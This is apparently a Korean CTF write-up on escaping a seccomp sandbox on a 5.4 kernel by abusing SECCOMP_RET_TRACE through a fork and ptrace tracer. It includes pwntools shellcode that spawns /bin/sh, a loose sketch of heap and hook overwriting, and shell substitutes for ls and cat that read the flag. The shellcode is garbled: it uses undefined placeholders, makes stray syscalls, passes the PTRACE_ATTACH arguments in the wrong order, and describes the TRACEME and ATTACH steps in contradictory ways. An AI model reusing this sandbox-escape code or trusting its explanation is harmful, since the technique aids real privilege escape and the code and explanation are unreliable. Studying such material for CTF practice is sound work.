서론
최근 공격자들이 제시한 특정 문제 해결 과정에서, 고전적인 openat2 시스템 호출을 통한 탈출 방식이 리모트 환경에서는 실패하는 현상을 발견했다. 원인은 커널 버전이 5.4로, openat2가 도입된 5.6 미만이기 때문이었다. 이에 따라 새로운 접근 방식이 필요하게 되었고, 이를 통해 상당히 독특한 세큐컴프 필터 동작 메커니즘을 활용한 탈출 기법을 발견할 수 있었다.
문제 분석: 왜 openat2는 작동하지 않는가?
openat2는 커널 5.6부터 추가된 시스템 호출이며, 그 전 버전에서는 존재하지 않는다. 따라서 커널 5.4 환경에서는 해당 시스템 호출 자체가 불가능해지며, 기존의 편리한 경로를 통한 탈출은 불가능하다.
핵심 포인트: SECCOMP_RET_TRACE의 취약성
이번 문제에서 사용된 세큐컴프 정책은 일반적인 KILL 또는 TRAP가 아닌, TRACE를 반환하도록 설정되어 있다. 이는 내부적으로 다음과 같은 동작을 유도한다:
- 시스템 호출이 발생하면, 커널은
ptrace()기반의 트레이서에게 알림을 전달하려 한다. - 트레이서가 등록되어 있지 않으면, 시스템 호출은 무시되고
-ENOSYS오류가 반환된다. - 트레이서가
PTRACE_O_TRACESECCOMP옵션으로 등록되어 있으면,PTRACE_EVENT_SECCOMP이벤트를 수신하며,SECCOMP_RET_DATA정보를 통해 현재 시스템 호출의 상세를 확인할 수 있다. - 이 시점에서 트레이서는 시스템 호출 번호를 변경하거나, 시스템 호출을 건너뛰도록 할 수 있으며, 이후 시스템 호출은 다시 실행되지만, 더 이상 세큐컴프 검사가 수행되지 않는다.
공격 기법: ptrace 기반 트레이서 생성 및 조작
이 구조를 이용하기 위해선 다음과 같은 단계를 거친다:
- 자식 프로세스를
fork()하여 생성하고,ptrace(PTRACE_TRACEME)로 자신을 추적 대상으로 설정한다. - 부모 프로세스는
ptrace(PTRACE_ATTACH, child_pid)로 자식을 연결한다. - 부모는
wait4()를 통해 자식이 시스템 호출을 시도할 때까지 대기한다. - 자식이 중단되면, 부모는
ptrace(PTRACE_SETOPTIONS, PTRACE_O_TRACESECCOMP)를 통해 보안 이벤트 감시를 활성화한다. - 이후
PTRACE_CONT를 호출하여 자식의 시스템 호출을 재개하고, 트레이서가 요청한 시스템 호출(예:execve("/bin/sh"))을 실행할 수 있도록 한다.
실제 악용 코드 (쉘코드)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# 시스템 호출 번호
SYS_fork = 57
SYS_ptrace = 101
SYS_wait4 = 61
SYS_execve = 59
# 패킷 구성
shellcode = asm(f"""
_start:
# Step 1: fork a new process
mov rax, {SYS_fork}
syscall
test rax, rax
js _exit
# Check if parent or child
cmp rax, 0
je child_process
parent_process:
mov r8, rax # save child PID
mov rdi, r8
mov rax, {SYS_ptrace}
mov rsi, 0x10 # PTRACE_ATTACH
xor rdx, rdx
xor r10, r10
syscall
monitor_child:
mov rdi, r8
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, {SYS_wait4}
syscall
# Set options to trace seccomp events
mov rax, 110
syscall
mov rdi, 0x4200 # PTRACE_SETOPTIONS
mov rsi, r8
xor rdx, rdx
mov r10, 0x80 # PTRACE_O_TRACESECCOMP
mov rax, {SYS_ptrace}
syscall
# Continue execution
mov rax, 110
syscall
mov rdi, 0x7 # PTRACE_CONT
mov rsi, r8
xor rdx, rdx
xor r10, r10
mov rax, {SYS_ptrace}
syscall
jmp monitor_child
child_process:
# Sleep to stabilize execution
push 1
dec byte ptr [rsp]
push 5
mov rdi, rsp
xor esi, esi
push {0x23} # SYS_nanosleep
pop rax
syscall
# Prepare /bin/sh string
mov rax, 0x{order2}
push rax
mov rax, 0x{order1}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, {SYS_execve}
syscall
jmp child_process
_exit:
mov rax, 60
xor rdi, rdi
syscall
""", arch='amd64')
완전한 Exploit 구현 요소
이 기법은 레이어링된 메모리 오버플로우와 함께 사용되며, 주로 _IO_FILE 구조체를 조작하여 malloc_hook를 덮어쓰고, __free_hook나 __malloc_hook를 통한 스택 조작을 진행한다. 이후 mprotect를 사용해 메모리 영역을 쓰기 가능하게 하고, read를 통해 쉘코드를 로드한 후, 위의 fork + ptrace 메커니즘을 통해 execve를 실행한다.
대체 명령어 사용 (sandbox 내부 제약)
여전히 open()이나 cat, ls 등의 명령어가 금지된 경우, 다음 대체 방법을 사용할 수 있다:
# ls 대체
echo *
# cat flag 대체
while IFS= read -r line; do
echo "$line"
done < flag